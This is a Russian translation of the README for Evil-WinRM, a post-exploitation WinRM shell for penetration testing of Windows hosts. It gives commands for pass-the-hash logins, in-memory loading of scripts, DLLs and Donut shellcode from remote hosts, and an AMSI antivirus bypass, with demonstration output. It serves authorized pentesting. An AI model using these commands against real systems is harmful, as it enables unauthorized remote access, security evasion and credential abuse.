Продвинутый WinRM shell для пентеста Windows-систем. Работает через протокол Windows Remote Management (порт 5985/5986). Возможности: • Upload/download файлов • Загрузка и выполнение PowerShell скриптов в памяти • Загрузка DLL (.NET assemblies) без записи на диск • Pass-the-Hash аутентификация • Поддержка SSL, Kerberos evil-winrm -i 10.10.10.1 -u Administrator -p Password123 evil-winrm -i 10.10.10.1 -u Admin -H <NTLM_hash>
# gem (Ruby) gem install evil-winrm # Kali Linux apt install evil-winrm # Из исходников git clone https://github.com/Hackplayers/evil-winrm cd evil-winrm && gem install bundler bundle install && ruby evil-winrm.rb
Абсолютный WinRM shell для хакинга/пентеста

Этот shell — абсолютный WinRM shell для хакинга/пентеста.
WinRM (Windows Remote Management) — это реализация Microsoft протокола WS-Management. Стандартный SOAP-протокол, который позволяет аппаратуре и операционным системам от разных поставщиков взаимодействовать друг с другом. Microsoft включил его в свои операционные системы, чтобы упростить жизнь системным администраторам.
Эту программу можно использовать на любых серверах Microsoft Windows с включённой этой функцией (обычно на порту 5985), конечно, только если у вас есть учётные данные и разрешения на её использование. Таким образом, можно сказать, что она может использоваться на этапе пост-эксплуатации при хакинге/пентесте. Назначение этой программы — предоставить удобные и простые в использовании функции для хакинга. Её также могут использовать системные администраторы в легитимных целях, но большинство её функций ориентированы на задачи хакинга/пентеста.
Она основана в основном на библиотеке WinRM для Ruby, которая изменила свой принцип работы начиная с версии 2.0. Теперь вместо использования протокола WinRM она использует PSRP (PowerShell Remoting Protocol) для инициализации пулов runspace, а также для создания и обработки конвейеров (pipelines).
Использование: evil-winrm -i IP -u ПОЛЬЗОВАТЕЛЬ [-s ПУТЬ_К_СКРИПТАМ] [-e ПУТЬ_К_EXE] [-P ПОРТ] [-a USERAGENT] [-p ПАРОЛЬ] [-H ХЕШ] [-U URL] [-S] [-c ПУТЬ_К_ПУБЛИЧНОМУ_КЛЮЧУ ] [-k ПУТЬ_К_ЧАСТНОМУ_КЛЮЧУ ] [-r РЕАЛМ] [-k ФАЙЛ_БИЛЕТА] [--spn SPN_PREFIX] [-l]
-S, --ssl Включить ssl
-c, --pub-key ПУТЬ_К_ПУБЛИЧНОМУ_КЛЮЧУ Локальный путь к сертификату с открытым ключом
-k, --priv-key ПУТЬ_К_ЧАСТНОМУ_КЛЮЧУ Локальный путь к сертификату с закрытым ключом
-r, --realm ДОМЕН Аутентификация Kerberos, также должна быть установлена в файле /etc/krb5.conf в этом формате -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-K, --ccache ФАЙЛ_БИЛЕТА Путь к файлу билета Kerberos (формат ccache или kirbi, определяется автоматически)
-s, --scripts ПУТЬ_К_PS_СКРИПТАМ Локальный путь к скриптам PowerShell
--spn SPN_PREFIX Префикс SPN для аутентификации Kerberos (по умолчанию HTTP)
-e, --executables ПУТЬ_К_EXE Локальный путь к исполняемым файлам C#
-i, --ip IP IP или имя хоста удалённого компьютера. FQDN для аутентификации Kerberos (обязательный)
-U, --url URL URL-конечная точка удалённого сервера (по умолчанию /wsman)
-u, --user ПОЛЬЗОВАТЕЛЬ Имя пользователя (обязательно, если не используется kerberos)
-p, --password ПАРОЛЬ Пароль
-H, --hash ХЕШ NTHash
-P, --port ПОРТ Порт удалённого хоста (по умолчанию 5985)
-a, --user-agent Указать user-agent подключения (по умолчанию Microsoft WinRM Client)
-V, --version Показать версию
-n, --no-colors Отключить цвета
-N, --no-rpath-completion Отключить автодополнение удалённого пути
-l, --log Логировать сессию WinRM
-h, --help Показать это сообщение справки
Требуется Ruby 2.3 или выше. Также необходимы некоторые ruby gems: winrm >=2.3.7, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2.
В зависимости от метода установки (доступно 4) их установка может потребоваться выполнить вручную.
Ещё одно важное требование, используемое только для аутентификации Kerberos — установка пакета Kerberos для сетевой аутентификации.
Для некоторых дистрибутивов Linux, основанных на Debian (Kali, Parrot и т.д.), он называется krb5-user. Для BlackArch он называется krb5, и, вероятно, он может называться иначе в других дистрибутивах Linux.
Функция автодополнения удалённого пути будет работать только в том случае, если ваша ruby была скомпилирована с флагом --with-readline-dir. Он включён по умолчанию в ruby, включённом в некоторые дистрибутивы Linux, но не во всех. Дополнительную информацию смотрите в разделе ниже.
gem install evil-winrmevil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutilsgit clone https://github.com/Hackplayers/evil-winrm.gitcd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
gem install bundlergit clone https://github.com/Hackplayers/evil-winrm.gitcd evil-winrm && bundle install --path vendor/bundlebundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
Если вы не хотите вводить пароль в открытом виде, вы можете опционально не устанавливать аргумент -p, и пароль будет запрошен скрытно.
Для использования IPv6 адрес должен быть добавлен в файл /etc/hosts. Просто укажите уже установленное имя хоста вместо IP-адреса после аргумента -i.
upload local_filename или upload local_filename destination_filenamedownload remote_filename или download remote_filename destination_filenameПримечания о путях (загрузка/скачивание):
Относительные пути не допускаются при использовании download/upload. Используйте имена файлов в текущей директории или абсолютный путь.
Если вы используете Evil-WinRM в Docker-окружении, имейте в виду, что все локальные пути должны находиться в /data, и убедитесь, что вы смонтировали его как том, чтобы иметь возможность получать доступ к скачанным файлам или загружать файлы с вашей локальной операционной системы.
Invoke-Binary, Dll-Loader и Donut-Loader, которые мы опишем ниже. При загрузке ps1-файла все его функции будут отображены.Ctrl+L для очистки экрана.*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
-s. Введите menu снова, чтобы увидеть загруженные функции. Очень большие файлы могут загружаться долго.*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity
[+] Add-DomainGroupMember
[+] Add-DomainObjectAcl
[+] Add-RemoteConnection
[+] Add-Win32Type
[+] Convert-ADName
[+] Convert-DNSRecord
[+] ConvertFrom-LDAPLogonHours
[+] ConvertFrom-SID
[+] ConvertFrom-UACValue
[+] Convert-LDAPProperty
[+] Convert-LogonHours
[+] ConvertTo-SID
[+] Dll-Loader
[+] Donut-Loader
[+] Export-PowerViewCSV
[+] field
[+] Find-DomainLocalGroupMember
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'. Исполняемые файлы должны находиться в пути, указанном в аргументе -e.*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))dll-файл может быть размещён через smb, http или локально. После загрузки введите menu, после чего станет доступным автоматическое дополнение всех функций.
*Evil-WinRM* PS C:\> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.
.EXAMPLE
Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
Dll-Loader -http -path http://example.com/myDll.dll
Description
-----------
Function that loads an arbitrary dll
*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
[+] Reading dll by HTTP
[+] Loading dll...
*Evil-WinRM* PS C:\Users\test\Documents> menu
[... Snip ...]
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0
Ppid : 0
Name : Idle
Path :
SessionID : 0
Owner :
Architecture : x64
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Вы можете использовать этот donut-maker для генерации payload.bin, если не используете Windows.
Этот скрипт использует python-модуль, написанный Marcello Salvati (byt3bl33d3r). Его можно установить с помощью pip: pip3 install donut-shellcode
python3 donut-maker.py -i Covenant.exe
___ _____
.'/,-Y" "~-.
l.Y ^.
/\ _\_ Donuts!
i ___/" "\
| /" "\ o !
l ] o !__./
\ _ _ \.___./ "~\
X \/ \ ___./
( \ ___. _..--~~" ~`-.
` Z,-- / \
\__. ( / ______)
\ l /-----~~" /
Y \ /
| "x______.^
| \
j Y
[+] Donut generated successfully: payload.bin
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Сначала необходимо синхронизировать дату с контроллером домена: rdate -n <dc_ip>
Для генерации билета существует множество способов:
С использованием ticketer.py из impacket
С использованием Rubeus или Mimikatz для получения билетов kirbi (поддерживается автоматическое преобразование в формат ccache)
Добавление файла билета. Существует 3 способа:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
Используйте параметр -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache или evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
При использовании -K инструмент автоматически:
- Определяет формат билета (ccache или kirbi)
- Конвертирует билеты kirbi в формат ccache при необходимости (требуется ticket_converter.py или impacket-ticketConverter)
- Проверяет, что файл существует и доступен для чтения
- Устанавливает переменную среды KRB5CCNAME
- Преобразует IP-адреса в FQDN для лучшей совместимости с Kerberos
/etc/krb5.conf (для Linux). Важно использовать следующий формат:CONTOSO.COM = {
kdc = fooserver.contoso.com
}
klistkdestroyЭта функция может быть недоступна в зависимости от используемого вами интерпретатора Ruby. Он должен быть скомпилирован с поддержкой readline. В противном случае эта функция работать не будет (будет показано предупреждение).
Используя этот способ, вы скомпилируете Ruby с необходимой функцией readln, но для использования только библиотеки без изменения версии Ruby по умолчанию в вашей системе. По этой причине это самый рекомендуемый способ.
Допустим, что в вашей системе на Debian установлена Ruby 2.7.3:
# Установка необходимого пакета
apt install libreadline-dev
# Проверка вашей версии Ruby
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Скачивание исходного кода Ruby (в данном случае 2.7.3):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Распаковка исходного кода
tar -xf ruby-2.7.3.tar.gz
# Компиляция расширения readline:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Применение патча к текущему расширению readline Ruby:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
Допустим, вы хотите установить Ruby 2.7.1 на Linux на базе Debian и используете zsh. Этот скрипт автоматизирует процесс. Вам нужно запустить его из того же каталога, где находится evil-winrm.rb и Gemfile (например, из каталога, созданного evil-winrm после выполнения git clone):
#!/usr/bin/env zsh
# Удаление возможных текущих установленных версий
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Установка rbenv
sudo apt install rbenv
# Настройка rbenv в конфигурационном файле zshrc
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Установка Ruby с поддержкой readline
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Создание файла '.ruby-version' для установки правильной версии Ruby
rbenv local 2.7.1
# Установка локальных gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
\"${current_evwr}\" \"\$@\"
EOF"
sudo chmod +x /usr/bin/evil-winrm
После этого вы сможете безопасно запускать evil-winrm, используя новую установленную версию Ruby с необходимой поддержкой readln, из любого расположения.
Если вы хотите скомпилировать её самостоятельно, вы можете следовать этим шагам. Допустим, вы хотите установить Ruby 2.7.3:
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
В зависимости от вашей системы она будет установлена в /opt/rubies/ruby-2.7.3 или, возможно, в ~/.rubies/ruby-2.7.3.
Теперь осталось установить зависимости evil-winrm для этой новой версии Ruby. Самый простой способ — запустить команду /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. Используемая команда gem должна принадлежать новой установке Ruby.
После этого вы можете безопасно запустить новую установленную версию Ruby для использования с evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
Рекомендуется использовать эту новую установленную версию Ruby только для запуска evil-winrm. Если вы установите её как Ruby по умолчанию для вашей системы, имейте в виду, что для неё не установлены gems-зависимости. Некоторое программное обеспечение на базе Ruby, такое как Metasploit или другие, может не запускаться из-за проблем с зависимостями.
Эта функция будет создавать файлы в вашем каталоге $HOME, сохраняя команды и результаты выполнения сессий WinRM.
Evil-WinRM поддерживает постоянную историю команд для каждой комбинации хоста и пользователя. История хранится в каталоге ~/.evil-winrm/history/, а файлы именуются в формате {host}_{user}.hist.
Когда вы подключаетесь к машине, к которой вы обращались ранее, вы можете использовать клавиши со стрелками (Вверх/Вниз) для навигации по предыдущим командам. История автоматически сохраняется после каждого выполнения команды и загружается при повторном подключении к тому же хосту с тем же пользователем.
Иногда вы можете столкнуться с ошибкой следующего вида:
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
Эта ошибка возникает потому, что OpenSSL версии 3.0 удалил некоторые устаревшие функции, такие как MD4, которые необходимы для работы этого инструмента. Существуют различные обходные пути для решения этой проблемы:
/etc/ssl/openssl.cnf и убедитесь, что конфигурация выглядит следующим образом:openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
evil-tls.conf. Затем экспортируйте переменную окружения, чтобы заставить систему использовать его: export OPENSSL_CONF="/path/to/evil-tls.conf". После этого запустите инструмент, ошибка исчезнет.Список изменений и изменения проекта можно проверить здесь: CHANGELOG.md
Состав:
Благодарность:
Этот скрипт лицензирован в соответствии с LGPLv3+. Прямая ссылка на Лицензию.
Evil-WinRM должен использоваться только для авторизованного тестирования на проникновение и/или в некоммерческих образовательных целях. Любое неправомерное использование этого программного обеспечения не является ответственностью автора или какого-либо другого участника. Используйте его на своих серверах и/или с разрешения владельца сервера.